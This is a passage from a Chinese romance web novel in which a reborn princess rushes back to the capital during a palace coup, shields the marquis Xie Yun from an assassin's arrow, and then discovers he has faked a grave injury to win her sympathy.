“我想早点歇息。”看着窗外已经完全暗下来的天色,船舱里点起了灯,昏黄的光晕在眼里打转,似乎又加重了眩晕感。 “好。”谢昀扶她起身,进了内舱的卧房。 姚黄已铺好了被褥,燃起了炭盆。 姒华欢在姚黄和魏紫的服侍下简单梳洗,换了寝衣,躺到床上。 谢昀走到桌边,从随身携带的一个小锦囊里取出一节香,放入桌上的小香炉中,用火折子点燃。 一缕清雅的淡香袅袅升起,很快弥散在小小的舱室内。 这香气不同于她平时惯用的鹅梨帐中香的甜暖,更清冽些,似竹似檀,幽幽淡淡,很是宁心静气。 姒华欢闻到这陌生的香味,看向香炉方向,轻声问:“这是什么香?” 谢昀走回床边坐下,语气自然:“是我找人新制的安神香,说是有宁心安神的奇效。闻着可还习惯?” “挺好闻的。”姒华欢喃喃回应,重新闭上眼。 “嗯,睡吧。”谢昀温声道。 或许是这安神香确有功效,或许是白日晕船耗尽了精力,没过多久,姒华欢的呼吸便逐渐变得均匀绵长,陷入了沉睡。 谢昀静静坐在床边,借着舱壁灯笼昏暗的光线,凝视着她的睡颜。 看了一会儿,他俯下身,在她额间落下一个轻柔如羽的吻。 “好好睡吧。”他轻声低语。 姒华欢这一夜睡得异常沉,没有光怪陆离的噩梦,没有午夜惊醒的心悸。直到次日,明晃晃的日头透过船舱的窗户,在她眼皮上投下有些刺眼的光线,她才迷迷糊糊地醒来。 头脑还有些昏沉,身体也透着一种久睡之后的乏软无力。她盯着周围陌生的环境,恍惚了片刻,才想起自己正在南下江南的船上。 身侧无人,她撑着坐起身子,唤道:“姚黄,魏紫。” 外间立刻有了响动,姚黄和魏紫一前一后掀帘进来,手里捧着热水和梳洗用具。 两人面色如常,动作利落地伺候她起身,为她拧了热帕子擦脸。 “什么时辰了?”姒华欢问道。 “回殿下,已经巳时了。” 姒华欢一边擦脸,一边随口问道:“谢昀呢?” 她问得随意,却半晌没听到回答。 船舱内忽然安静下来,只有水波轻拍船身的“哗哗”声。 姒华欢动作一顿,拿下帕子,奇怪地看向二人。 只见两人垂着眼,僵在原地,互相飞快地对视一眼,又迅速低下头,一副欲言又止、忐忑不安的古怪模样。 一股不好的预感从姒华欢心底窜起,心脏莫名跳得愈发快起来。 姒华欢盯着她们,将帕子丢回水盆中,“啪嗒”一声轻响,溅起一小串水花,打湿了一小块地面。 每次一有大事瞒着她,就这样支支吾吾不肯回答。 “我问你们话呢!”姒华欢声音沉了下来,“谢昀呢?” 姚黄和魏紫“扑通”一声,齐齐跪倒在地,头垂得更低。 “殿下息怒。”姚黄的声音微颤,“侯爷,侯爷……他不让奴婢们惊动殿下……” 姒华欢只觉得一股热血直冲头顶,眼前阵阵发黑。她手撑着额头,声音发冷:“我再问最后一次,谢、昀,他、去、哪、了?” 最后几个字,几乎是从牙缝里挤出来的。 姒华欢从未发过如此大的火。姚黄和魏紫伏在地上,肩膀抖动,吓得说不出完整的话。 最后,魏紫咬了咬下唇,像是豁出去了一般,抬起头:“侯爷他……他走了!” 第90章 她怎能眼睁睁看着他独自…… 走了? 姒华欢有些发懵:“走了是什么意思?这是水路上, 他能走到哪里去?” 突然,她意识到什么。 她抓起衣桁上的那件雪白的狐裘胡乱裹在身上,打开内舱的门就冲了出去。 冬日清冷的河风瞬间灌了进来, 吹得她长发飞舞, 斗篷猎猎作响。 甲板上,除了几个面生的护卫笔直地守在两侧, 还有一个她熟悉的身影——杜风。 姒华欢只觉得四肢百骸都要冻住了。 杜风听到舱门打开的巨响, 愕然回头, 看到裹着斗篷, 脸色煞白,眼中燃烧着熊熊怒火的姒华欢时,脸色一变, 立刻单膝跪地:“殿下,您怎么出来了?外面风大……” “你怎么在这里?”姒华欢胸膛剧烈起伏, 死死盯着他, “谢昀呢?!你不是应该寸步不离跟着他吗?你在这里, 他去哪了?!” 杜风垂着头,不敢看她,声音艰涩:“殿下息怒。侯爷……侯爷都是为了殿下好!京城如今已是龙潭虎穴,侯爷没有十足的把握能护殿下周全, 才出此下策。” “殿下只需安心前往江南,侯爷的外祖家訾氏在江南颇有根基, 定能护殿下周全。待京城事了……” “为了我好?”姒华欢气极反笑, 声音因愤怒而颤抖,“把我骗上船,用安神香让我昏睡,然后他自己偷偷溜走, 把我像个傻子一样蒙在鼓里,送我去一个所谓‘安全’的地方,这就是为我好?!” 怒喝完她感到一阵眩晕,缓了一下,冷声问:“我问你,他是不是还要去骊山!” 杜风沉默,嘴唇抿成一条线,没有回答,算是默认。 更强的眩晕感袭来,姒华欢有些站不住,连连后退,直到后背抵住冰冷的舱壁才勉强站稳。 他还是去了。 骗子!彻头彻尾的骗子! 什么陪她去江南避寒散心!什么剿匪自有旁人负责!全是假的! 他早就知道京城要出大事,甚至可能知道有人要谋反逼宫。 “他……他是不是查到有人要谋反?”姒华欢的声音轻得像是在飘。 闻言杜风抬起头,眼中是无法掩饰的震惊,显然没料到她能猜到这一步。 他张了张嘴,在姒华欢洞悉一切目光的逼视下,终于心一横,咬牙承认:“是。侯爷确已查到逆党勾结,欲行不轨。侯爷暗中布局多时,只待引蛇出洞,将他们引入彀中,一网打尽,永绝后患。” “虽然侯爷有九成的把握,但刀剑无眼,京城必将大乱。侯爷是怕殿下留在京中,成为逆党的目标,或是被乱局波及,才不得已送殿下离京避险。侯爷一片苦心,都是为了保护殿下啊!” 杜风的话将姒华欢混乱的思绪中炸开一条路,前世所有的记忆在杜风的话后变得清晰起来。 原来如此……原来如此…… 原来谢昀那日率兵出现在宫门口,是去剿灭逆党的。 那么前世的宫变,谢昀也提前察觉到了。他或许也像这一世一般,暗中有所布置,想要力挽狂澜,却没算到她这个变数。 所以前世她中箭倒下时,谢昀向她奔来时的慌张无措,就是他最真实的反应。 恍然、懊悔、心痛,如滔天巨浪般将她淹没。她心口疼得像要裂开,眼泪汹涌而出,模糊了视线。 她捂上麻痛的心口,忽然想起穿透胸口的那支箭。 如果一切事情都会按照命定的轨迹发生,这次她不会出现在宫门前,那支箭穿透的,会不会就是谢昀的胸口? 不行!绝对不行! 这一世,她怎能眼睁睁看着他独自涉险? 什么江南,什么安全,没有他,这一切还有什么意义? 姒华欢擦去脸上的泪水,看着杜风,命令道:“掉头。” 杜风惊慌:“殿下!” “我说,掉头!”姒华欢声音坚定,“现在,立刻,回京!” “殿下不可!”杜风急道,“侯爷严令……” “我不管他什么严令!要么,你现在就让船掉头,回京城,要么——” 姒华欢几步冲到船舷边,河风猛烈吹拂着她的长发和斗篷,仿佛下一刻就要将她卷入水中。 她回头,脸上没有丝毫惧色,执拗地望着杜风:“不然,我现在就从这里跳下去!我说到做到!” “殿下!”姚黄和魏紫吓得魂飞魄散。 “殿下!万万不可!”杜风伸出手,急得额头青筋暴起,想上前又不敢。 她的眼神太过决绝,语气太过认真,没有人怀疑她是在虚张声势。以她的性子,她是真的做得出来! 杜风额头上顿时冒出了冷汗。 侯爷的命令固然重要,但公主殿下的性命,他赌不起,侯爷更赌不起! 杜风头痛地闭上眼睛,再睁开时,眼中只剩下妥协和认命。他狠狠一咬牙,朝着掌舵的船夫大喊:“掉头!快掉头!回京!” 船上的水手和护卫们均是一愣,但见此情形,无人敢多问一句。掌舵的船夫慌忙转动舵轮,调整好风帆。 姒华欢看着船头缓缓调转方向,浑身才一松,顺着船舷软软滑坐在地。 姚黄和魏紫这才敢扑上来,双眼含泪地看着她。 姒华欢望着北方阴沉的天际,呼吸窒闷。 谢昀,这一次,无论是生是死,我都和你一起面对。 返程是逆水行舟,纵然船夫拼尽全力,速度也远不及顺流而下时快。姒华欢一夜未眠,裹着斗篷坐在舱内,目光沉沉地望向窗外墨黑的河水。 姚黄和魏紫小心翼翼地陪着,不敢多言。 直到第二日,天光微亮,客船才终于缓缓靠回商州漕运码头。码头上只有零星几个早起搬运货物的苦力,和几辆等着拉货的骡车。 没有提前安排接应,他们必须自己想办法尽快赶回京城。 杜风目光扫过码头,锁定了一辆刚卸完货,准备返程的骡车。车是寻常的粗木打造,拉车的骡子也显瘦弱,但此刻也顾不得这许多了。 他上前与那车夫交涉。车夫是个四十来岁的汉子,听闻他们要买下骡车,且是立刻就要,连连摇头,说这是吃饭的家伙,不卖。 杜风二话不说,转身从行李中直接掏出好几个沉甸甸、白花花的大银锭,加起来足有百两之数,递到那车夫面前。 “这些买你的车,够不够?” 那车夫眼睛瞬间瞪得滚圆,看着眼前这辈子都没见过的这么多银两,喉结上下滚动,说不出话来。 百两白银,别说一辆破骡车,就是买下他这条命,再买几亩薄田也绰绰有余了。这些银子足够他们一家老小几十年吃喝不愁,甚至还能换个新房,再置办些田产了! 他毫不犹豫,一把抓起银锭揣进怀里,生怕对方反悔,连连点头,脸上绽开谄媚的灿烂笑容:“够!够!太够了!老爷您真是大方人!这车是您的了!您请!您请!” 他忙不迭跳下车,将位置让出来,殷勤地将马鞭双手奉上。 不做这笔买卖的,那才是傻子! 姒华欢在姚黄和魏紫的搀扶下上了车。车内狭窄,陈设简陋,还带着一股货物和牲口的混合气味,她眉头紧皱,用袖子掩住口鼻,催促道:“快走。” 一名亲卫坐上车辕,执鞭驾车。 路上,杜风几番欲言又止,最终还是忍不住,隔着车帘说道:“殿下,京城此刻只怕已经戒严封城,九门紧闭,重兵把守,没有侯爷手令或陛下圣旨,任何人不得出入。我们即便赶到,恐怕……也进不去。” 姒华欢缓缓睁开眼,没有说话,只是伸手从腰间解下一块金灿灿的令牌,“当啷”一声丢在杜风身旁,上面“康乐”二字在阳光下异常耀眼。 “我看谁敢拦我!”姒华欢的声音充满了公主威严。 杜风看着那公主令牌,微微叹了口气,知道再劝也是无用。 马车一路疾驰,离京城越来越近,道路上的行人马车越发稀少,直至全然不见。天空愈发阴沉,灰白色的云层低低压下来。 姚黄一直忧心忡忡地留意着外面,忽然小声惊呼:“殿下,下雪了!” 姒华欢闻声,撩开车窗帘一角望去。果然,细小如盐粒般的雪开始纷纷扬扬落下。 很快雪花便密集起来,随风飞舞,覆盖了枯黄的草地和光秃的枝桠。 若是往日见到初雪,她或许会有一丝欣喜。可此刻她心中非但毫无欣喜,只有一片冰凉。 谢昀不喜欢雪天。 骠骑大将军和云徽将军就是在这样一个大雪纷飞的冬日,于北疆陷入重围,最终力战而亡。 从那以后每当下雪,他总会沉默许久,神色阴郁寂寥。 如今在这紧要关头,天公不作美,竟又下起了雪。 他看到这漫天飞雪,心里该有多难过。 更何况他还要独自面对这一切,在冰冷的雪天里筹谋、厮杀。 姒华欢觉得自己的心被一只手狠狠攥住,疼得她眼眶阵阵发酸。 又过了一个时辰,骡车终于抵达高大的城墙之下。 果然如杜风所料,城门紧闭,城楼上人影憧憧,站满了兵士,刀枪的寒光在雪色的映衬下格外刺目。 他们这一行人的出现,立刻引起了守军的警觉,一队约莫二三十人的羽林军迅速从两侧涌出,呈扇形将他们包围,长矛和弓弩齐刷刷对准了骡车。 “来者何人!京城戒严,速速退去!”为首一名首领模样的守军厉声喝道,声音在空旷的城门前回荡。 杜风率先跳下马车。他认得这些士兵的装束,正是羽林军精锐。 他高举双手,示意没有武器,同时喊道:“我乃明安侯府亲卫统领杜风!有要事需即刻入城!” 那首领显然认得杜风,闻言一怔,脸上露出惊讶之色:“杜统领,你怎么在城外?” 他目光扫向那辆简陋的骡车,眼中疑虑更深。杜统领作为明安侯最得力的副将,不是应该寸步不离的跟在明安侯身边吗?怎么会突然出现在城外,还带着一辆可疑的骡车。 这不在计划之内。 “侯爷军令,戒严期间,连一只苍蝇都不能从城门通过。杜统领,对不住了,军令不可违,请回吧。”那首领语气坚决,虽然认得杜风,却丝毫没有放行的意思。 杜风知道对方职责所在,只好再走近一些,从怀中掏出那枚金灿灿的令牌,低声道:“王将军,非常之时,当行非常之事。今日无论如何,康乐公主必须回京,还请将军行个方便,只开一条容人通过的缝隙即可。我等立刻进城,绝不多做停留。” 康乐公主?! 康乐公主怎会在此? 王将军眉头拧成了疙瘩,看看杜风,又看看那辆骡车,心中天人交战。 一边是明安侯,一边是公主殿下,他这该如何是好? 就在他犹豫不决之际,骡车的帘子被一只纤细的手掀开了。 一个穿着雪白狐裘,戴着兜帽的身影,在侍女的搀扶下缓缓走了下来,风雪立刻卷向她。 那人影走到近前,抬手轻轻摘下了兜帽,一张绝美却明显憔悴的面容露了出来。 王将军慌忙单腿跪地:“末将参见公主殿下!”他身后的兵士见状,也连忙收起兵器,纷纷跪倒。 “侯爷的话是令,不可违,本公主的令,便可违逆吗?” 王将军额角渗出冷汗,杜风在一旁语重心长地叹了一声:“王将军!” 王将军看着面色冷肃的公主,又看看焦急的杜风,再想想侯爷平素对公主的重视……最终他一咬牙站起身,挥手对身后道:“开城门。” 厚重的城门缓缓向两侧打开,露出一道仅容一人侧身通过的狭窄缝隙。 姒华欢不再多言,重新戴上兜帽,率先从那道缝隙中侧身挤了进去。 杜风紧随其后,然后是姚黄、魏紫和余下的亲卫。 他们刚一入内,身后的城门便再次发出沉闷的巨响,轰然合拢。《 》 90-96 第91章 你不许死。我还有账没跟…… 城门内, 景象与往日繁华的京城截然不同。街道上空无一人,所有店铺门窗紧闭,一片死寂, 空气中都弥漫着一股肃杀之气。 京城已然戒严, 宫中定然早已是罩上金钟罩一般。 姒华欢回想起前世叛军作乱的景象。他们并非从外部强攻,而是在宫内发难, 然后逐渐向外蔓延, 最终占领皇宫, 控制京城。 “谢昀的具体计划是什么?”姒华欢一边快步走着, 一边问杜风。 杜风紧跟在她身侧,压低声音:“侯爷假意与叛军合作,答应他们里应外合。实则这些兵马是为了将皇宫乃至京城几处要塞包围, 只等叛军发动后收网,切断他们的退路和外援, 瓮中捉鳖, 一网打尽。” “晋王呢?”姒华欢忽然问。 杜风脚步微微一顿, 震惊地看向她,失声道:“殿下怎么知道……” 果然是她的好皇叔。 姒华欢心中一片悲凉。 之前虽有猜测,却无实证。现在终于确认,那个看似与世无争、温文儒雅的皇叔, 竟然是这一切的罪魁祸首! 杜风艰难道:“晋王……此刻应在宫中。侯爷推断,他会在叛军控制皇宫后, 以‘护驾’或者‘清君侧’的名义出现, 顺理成章地接管局面。” 姒华欢心中的慌乱越来越强烈,她问道:“谢昀在哪?” “侯爷此刻应该在……宫门外。” 姒华欢呼吸一窒。 按照前世轨迹,林珩应该已在宫门城楼上! 她越想越觉得浑身发冷,心里的恐慌不断加剧。 不能再等了!她必须立刻找到谢昀, 提醒他小心林珩! 她目光一扫,看到路边拴马石上系着几匹马,大概是戒严时来不及牵走的。 她毫不犹豫地快步走过去,迅速解开拴马石上的缰绳,抓住马鞍,用尽力气,有些狼狈地攀上了马背。 这匹马不是很乖顺,她费力地控制着缰绳,回想着之前谢昀教她的骑术,扬鞭抽在了马屁股上。 “驾!” 马儿长嘶一声,撒开四蹄,朝着皇宫方向疾驰而去,在空旷寂寥的街道上留下一串马蹄印和飞扬的雪沫。 “殿下——”姚黄和魏紫惊呼,却只能眼睁睁看着那道白色的身影迅速消失在街道拐角。 杜风急得跺脚,对留下的亲卫们快速吩咐:“你们先送姚黄姑娘和魏紫姑娘回侯府,务必保证她们的安全!” 说完,他忙解下另一匹马的缰绳,翻身上马,策马冲入风雪。 寒风呼啸,刮在脸上如同刀割。冰冷的空气灌入肺腑,刺得生疼。姒华欢不管不顾,咬牙坚持着,心中疯狂想着快一点,再快一点! 终于,皇宫的轮廓在前方显现,更近些,是宫门前黑压压的军阵,铁甲森然,刀枪如林,矗立在风雪中。 和前世一模一样的场景。 姒华欢没有丝毫减速,反而用力一夹马腹,紧盯前世那只冷箭射来的高耸角楼。可距离太远,风雪又模糊了视线,她根本看不清角楼之上是否有人。 “让开!”她用尽力气嘶喊。 军阵边缘的士兵们听到动静,愕然转头,只见一匹棕马驮着一个白色身影,以惊人的速度直冲过来。 他们的身体先于脑子做出反应,下意识向两旁闪开,让出一条可供她通过的通道。 快速跨过军阵,姒华欢看到了那个骑在高大黑马上的熟悉身影。 谢昀一身玄色铁甲,肩披暗红披风,正微微仰头,关注宫墙内的动静,像是在等待着什么。 这一幕,恍如隔世。 突然,姒华欢隐约捕捉到角楼上,一道寒光极其短暂地一闪。 “谢昀——!” 谢昀听到身后异常的动静和尖声呼喊,本能让他瞬间警觉,不及细辨,猛地一拉缰绳,在马上拧身回转,右手按向剑柄。 然而,他还没来得及看清来人,一道白影携着劲风从侧后方飞扑而至,狠狠撞在他身上,巨大的冲击将他直接从马背上撞飞出去! “砰!” 两个人同时从马背上摔落。 谢昀一身沉重的铁甲,加上姒华欢扑来的冲击力,使得这一摔结结实实,重重砸在冷硬的地面上。 就在两人摔落间,一支羽箭擦着谢昀刚刚所骑战马的上方掠过,插入雪泥中。 两人在地上翻滚了几圈才卸去力道停下。谢昀被摔得眼前发昏,但强忍剧痛,右手重新覆在剑柄上就要拔剑。 这时,一股极其熟悉的香气钻入鼻尖。 谢昀浑身骤然僵住,他低头看向自己怀中的人。 兜帽早已在翻滚中脱落,露出一张痛得完全扭曲的小脸。 姒华欢眉头死死拧在一起,眼睛紧闭,张着嘴,似乎想痛呼,却因为疼痛而发不出任何声音,只有破碎的气音。 谢昀脑子一片空白,嗡嗡作响,心跳几乎停止。 “你,你怎么……”谢昀因为震惊和心疼一时间有些失语。 他忍着浑身的剧痛,手忙脚乱地撑起身,小心翼翼将怀中的人半抱在怀里,声音颤抖得不成样子,满眼无措:“你怎么样?摔到哪里了?哪里痛?说话!姒华欢!” 姒华欢只觉得天旋地转,浑身的骨头像是散了架,五脏六腑都被震得移了位。尤其是身前被他铁甲硌到的地方,火辣辣地疼,疼得她眼前阵阵发黑。 从小到大,她何曾受过这样的罪?便是幼时被谢昀踢来的鞠砸到头,也远不及此刻的千分之一。 地面硬,他的铁甲更硬,这一摔一撞,她差点以为自己要死了。 可即便如此,她还是强撑着,目光越过谢昀的肩膀,投向马身侧后方不远的地面上—— 一支箭矢斜插在雪泥里。 还好……赶上了。 紧绷的心弦须臾之间松了,姒华欢心中涌起一股释然和庆幸。 这算不算是,为自己对他的误解、怨恨和偏见赎了罪? 身上的疼痛让她无法思考更多。她喘息着,颤抖着抬起一只手臂,指向那座角楼,嘴唇翕动,对谢昀吐出两个字:“射……杀……” 谢昀顺着她手指的方向抬头,只见角落似乎有寒光一闪! 在他抬头的一瞬,第二支箭矢已撕裂空气,带着凌厉的杀意,直射向他们。 谢昀抱着姒华欢,凭借惊人的腰力和反应,硬生生向侧后方猛旋了半圈。 “嗖!”箭矢擦着姒华欢飞扬的发梢和谢昀的臂甲掠过,钉在刚才他们所在的位置。 谢昀眼中的杀意攀升到顶点,立刻将怀中痛得几乎晕厥的姒华欢放在地上,一把夺过身旁一名亲兵手中的弓箭。 抽箭,搭弦,开弓,瞄准,整套动作行云流水,发生在几息之间。 他眯起眼,目光如鹰隼般锁定角楼上某个刚刚闪过黑影的方位,臂上肌肉贲张,弓弦被拉至满月。 “咻——” 利箭离弦,飞速直射向角楼。 角楼上有什么影子晃了一下,随即消失。 “上去,把人给我抓下来,死活不论!”谢昀将弓扔回给亲兵,厉声下令。 一队精锐士兵疾速冲向宫门旁的角楼。 就在这时,杜风气喘吁吁地赶到了。 他看到躺在地上表情痛苦的姒华欢,又看到谢昀铁青的脸色和满身的杀气,单膝跪地:“侯爷!” 谢昀看了他一眼,并无责怪之意。他蹲回到姒华欢身边,握住她冰凉的手,声音沙哑:“先让杜风带你回府,这里危险……” 杜风刚要应声,姒华欢却摇了摇头,手指动了动,艰难扯住了谢昀战袍的下摆,声音微弱:“林珩……死了吗?” “什么林珩?”谢昀一怔。 姒华欢指了指角楼的方向示意。 “你怎么知道是……” 他的话还没说完,便被匆匆跑下角楼的士兵打断:“侯爷,角楼之上的是刑部侍郎林珩!侯爷的箭射中了他的左胸,偏了一寸,未中心脏,还有气!” 果然是林珩。 姒华欢心中最后一次不确定也消失了。她紧紧回握着谢昀的手,仰着头说:“别……别让他死。” 谢昀虽疑惑她为何如此在意林珩的生死,但此刻无暇深究,他紧抿唇点了点头:“知道了。” 林珩没死就能审,就能挖出更多的秘密,或许能改变更多。 姒华欢稍微缓了缓劲,望进谢昀布满血丝的眼睛。 “你……”她吸了口气,咬着牙一字一顿道,“不许死。我还有账没跟你算呢……” 谢昀看着她明明痛得要晕过去,还强撑着威胁她的娇蛮模样,心中又疼又涩,又涌起一股难以言喻的暖流。 他嘴角微微扯动,露出一丝极短暂的无奈苦笑,低声道:“好,等着你来算。” 突然,宫墙之内升起一道尖锐的呼啸,一枚赤红色的信号弹在高空中炸开,在皑皑白雪中显得更加耀眼。 是约定的信号,他们可以动手了。 谢昀的眼神变得锐利,将姒华欢交给杜风后,最后深深看了她一眼。 转身,跃上战马,抽出腰间长剑,声音带着极强的威势,响彻整个宫门广场。 “诸军听令——” “杀——!” “杀——!!!” 震天的喊杀声随之响起,训练有素的军队在指挥之下,分成数股,冲向各处宫门和关键宫道。 风雪更急,厮杀声顷刻淹没了天地。 第92章 谢昀感觉幸福得快要昏过…… 侯府内外早已被谢昀麾下最精锐的谢家军层层围护起来, 水泄不通。 姒华欢被送回自己院子时,肋下的疼痛依然隐隐发作,她靠在软榻上问跟进来的杜风:“父皇母后, 还有哥哥呢?” 杜风回到:“殿下放心, 侯爷早已安排妥当。陛下、娘娘与太子殿下身边皆有重兵护卫。” 姒华欢沉默了片刻,又问:“父皇的病……其实不只是风寒那么简单, 对不对?” 杜风犹豫了一瞬, 知道此刻再瞒无益, 于是实言道:“陛下其实是中了一种极为隐秘的慢性毒, 下在平日饮食之中,剂量极微,症状与风寒酷似。若非江老太医经验老道, 察觉出脉象有异,反复查验, 追根究底才发现端倪。” “所幸发现及时, 中毒尚浅, 江老太医已为陛下拔除大半毒性,加以精心调理,龙体已无大碍。一直对外称病,不过是将计就计, 故意让下毒之人以为奸计得逞,放松警惕, 以便引蛇出洞。” “下毒之人……”答案呼之欲出, 但姒华欢还是想亲耳确认,“是晋王,对吗?” 杜风垂手,默认了。 姒华欢缓缓闭上了眼。 父皇登基后, 对他这位长兄颇为优容,赐予富庶封地,准他长居京城,享亲王尊荣,不必就藩。 在姒华欢的记忆里,晋皇叔总是笑容可亲,儿时还常抱她,给她带宫外新奇的小玩意儿。 难道就因为之前他的一双儿女因害她而被父皇严惩?可那是他们咎由自取,如何怪得到她头上?更遑论怪到一向待他不薄的父皇头上? 一个待遇优厚、人人艳羡的闲散富贵王爷,为何要铤而走险,行此大逆不道之事?为权力、野心还是怨恨? 她想不明白,只觉得人心难测,曾经慈爱的面容下,竟隐藏着如此狰狞可憎的真面目。 时间在焦灼的等待中一点点流逝。从天光微亮,等到日头高悬,再等到暮色四合。 远处皇宫方向的厮杀声早已彻底平息,只剩下风雪掠过屋檐的呜咽,和府中护卫巡逻时整齐沉重的脚步声。 终于,在夜色完全笼罩京城时,一名传令兵来到姒华欢面前,禀道:“启禀公主殿下,宫中捷报!叛军主力已被全数击溃,负隅顽抗者尽数诛杀,余者皆已束手就擒,宫变已平!陛下,皇后娘娘,太子殿下皆安然无恙!” 姒华欢一直紧绷的肩膀终于松弛下来,瘫坐在榻上。 结束了,真的结束了。 这个死局终于被破开了。父皇母后和哥哥都无事,她活了下来,谢昀也应该平安无事了吧?不会再变成前世那个阴郁孤寂,自我搓磨的模样了。 她急忙问:“谢昀呢?他何时回来?” 那传令兵脸上亢奋的神情凝滞了一下,迅速低下头,避开她的目光,竟一时没有答话。 这样欲言又止、面露难色的神情,她见过太多次,通常伴随的就是某个噩耗。 姒华欢“腾”一下站起身,肋下的剧痛让她险些站不稳,她倒吸一口凉气,手撑在小几上,厉声问:“他怎么了?说啊!” 传令兵被她吓得一哆嗦,额上冒汗,支支吾吾:“侯爷他……他……” 就在这时,院子外面传来一阵乱糟糟的声音,向着西边去。 姒华欢心脏狂跳,一股不祥的预感升起。她也顾不上再逼问传令兵,踉跄着冲出房门,朝着声音传来的西厢院方向跑去。 西西厢院,灯火通明,隐隐绰绰围了许多兵士,个个手足无措,见她跑来,纷纷慌乱地行礼避让。 “出什么事了?你们围在这里做什么?”姒华欢随手抓住一个路过的亲卫问道。 那亲卫一见是她,吓得扑通跪下:“参见公主殿下……” 姒华欢看着周围人这副如丧考妣的模样,只觉得一股邪火直冲头顶。她一把推开那亲卫,朝着灯火最亮的房间中去。 房门虚掩着,浓重的血腥气扑面而来。 屋内灯火通明,床榻边围着几个人,杜风也在其中,正弯着腰查看什么。 姒华欢的视线定格在床上,整个人僵在原地,连呼吸都忘记了。 谢昀闭着眼,一动不动地躺在那里。 他依旧穿着那身玄色铁甲,只是此刻甲胄上遍布暗红色的半干涸血迹。他的脸上也有溅上的血点,脸色显得有些苍白,唇色浅淡。 他就那样静静躺着,仿佛一具毫无生气的虚壳。 姒华欢的呼吸变得又急又浅,胸口闷痛欲裂。 不可能……明明捷报都传来了……明明宫变都平息了……他怎么可以…… 她像一具被无形丝线操控的木偶,无知无觉地一步步挪到床边,每一步都像踩在虚空里,轻飘飘的。 她呆呆地站在床边,低头看着床上的人,眼睛一眨不眨。 天命弄人……难道他们两个就真的逃不过阴阳相隔的宿命吗?她回来了,她改变了许多,救下了父皇,找到了反贼,甚至躲过了那致命的一箭。 可为什么?为什么他还是躺在了这里?为什么?! 滚烫的泪水汹涌而出,迅速模糊了视线。姒华欢双腿一软,扑到床边,双手颤抖着抓住他的衣袖,声音破碎得不成样子,语无伦次: “谢昀!谢昀你醒醒!你不能就这么死了!我还有好多话没跟你说……我还没对你好一点……我还没来得及告诉你……你不可以这么自私自作主张地救我,又自作主张地离开我!我不准!你听到没有!我不准你死!” 她越说越伤心,越说越委屈,哭得上气不接下气。 什么公主仪态,什么优雅冷静,此刻统统被她抛到了九霄云外。 或许是她的哭声太过凄惨,或许是她说的话起到了作用,床上昏迷不醒的人微微蹙了蹙眉,眼睫颤了颤。 紧接着,一声极其微弱带着气音的叹息响起:“别哭了……”他的声音很低,很哑,仿佛用尽了力气。 姒华欢的哭声戛然而止,猛然抬起头,泪眼朦胧地看向谢昀的脸,一时间没反应过来。 愣了一下,确认他真的睁眼了,真的说话了,惊喜与后怕交织,让她“哇”一声,哭得比刚才还要响亮,简直地动山摇。 谢昀被她这更凶猛的哭声弄得有些慌。他都醒了,怎么还哭得更厉害了?难道是自己装得太过,真的把她吓坏了?这可如何是好? 看着她哭得通红的眼睛和鼻尖,小脸上眼泪纵横,可怜得不得了,谢昀心里那点装可怜博同情的小算盘立刻被心疼取代。 他想抬手替她擦擦眼泪,可刚一动作,就看到自己手上也沾着血污,动作顿时僵在半空,手指蜷了蜷,缓缓放下。 姒华欢却误会了他这动作,以为他是伤重无力,心中更是酸楚难当,急忙伸出双手,一把将他那只沾血的手握住,紧紧贴在自己泪湿的脸颊上,泣声道:“对不起……都是我不好……我以前什么都不知道……” 谢昀心中叫苦不迭。完蛋了,看来真是演过头了,把她吓成这样。 现在承认自己是装的?不行,那恐怕会死得更惨。 可看她哭成这样,他心疼得都要裂开了。 他硬着头皮,继续用那种气虚力弱的声调,断断续续道:“我没事……就是一点小伤……你别哭了……你哭得我心疼……” 他自以为演技到位,却不知这“心疼”二字,落在本就满怀愧疚怜惜的姒华欢耳中,无异于火上浇油。 姒华欢一听,心都要碎了。 他都伤成这样了,还惦记着心疼她! 他喜欢她原来已经这么明显了,以前自己怎么就没看出来,还总跟他闹别扭。 怜爱和悔恨涌上心头,她用力摇头,眼泪飞溅,呜咽着承诺:“你不要死……只要你活下来,我以后一定好好对你……你想要什么我都给你……真的,我都给你……” 谢昀被这突如其来的幸福承诺砸得有点懵,下意识呆呆地反问了一句:“……真的?” “真的!”姒华欢用力点头,只盼着承诺能化作灵丹妙药吊住他的命,“我什么都答应你!” 谢昀感觉幸福得快要昏过去了。 他从来没享受过这种待遇。 装可怜这法子也太好用了吧!姒华欢何曾对他如此温言软语、百依百顺过?看来以后这招或许可以酌情再用。 他趁热打铁,继续“虚弱”地喘了口气,继续示弱:“那……那你能不能……原谅我……之前做的错事……” 姒华欢此刻哪里还顾得上计较骗她上船,却自己偷溜回来独挡万军的事。摇着头,泪眼婆娑:“都什么时候了,你还想着这个!我原谅!我都原谅!只要你活下来,我什么都原谅你!” 谢昀心中简直乐开了花,感觉此刻就算真的挨上几刀也值了。 他脸上微微浮起一点压抑不住的微笑。 姒华欢哭着哭着,用手背胡乱抹了一把糊住眼睛的泪水,视线清晰了一瞬,就在这一瞬,她瞥见了谢昀的脸上一闪而过的微笑。 等一下。 这对吗? 一个都快死了的人,有什么可笑的? 而且……杜风呢?刚才不是让他去找太医吗?怎么这么久还没回来? 外面满院子的人,除了刚开始的慌乱,现在好像有点过于安静了吧? 姒华欢哭泣的动静渐渐小了下去,心里隐隐觉得有些不对劲。 她吸了吸鼻子,暂时止住汹涌的泪意,红肿的眼睛狐疑地看向谢昀,试探道:“等你好起来以后,就搬到我院子里住吧。” 话音刚落,她就看到谢昀那双原本虚弱半阖的眼睛倏地睁大了些,里面甚至迸发出光亮,哪里还有半分濒死的黯淡? 虽然那光亮只是一闪而过,他又迅速掩饰般地闭上了眼睛,甚至还“虚弱”地闷咳了两声,但那一瞬间的破绽已经足够了。 一股被愚弄的怒火“噌”地蹿了上来。 刚才的心疼、恐惧、悲伤,瞬间全部转化成了熊熊燃烧的怒火。 她攥紧拳头,用尽全身力气,朝着谢昀的胸口就是狠狠一锤。 “谢昀!”她撑着身子站起,“你又骗我!!!”—— 作者有话说:谁说男人没心机[狗头] 第93章 “谢昀,你……什么时候…… 拳头砸在坚硬的铁甲上发出一声闷响。谢昀毫无感觉, 却被她突如其来的暴怒和一拳砸懵了,下意识地上扬着尾调“嗯”了一声:“怎么了?” 随即他才反应过来,赶紧补救, 又皱起眉, 捂住胸口,开始“虚弱”地喘息起来, 演技比刚才浮夸了不止一点半点:“我……我没骗你……真的受伤了……” 姒华欢拿衣袖抹了一把脸上的泪痕, 在他身上扫视。 仔细一看, 那甲胄上的血虽然大片, 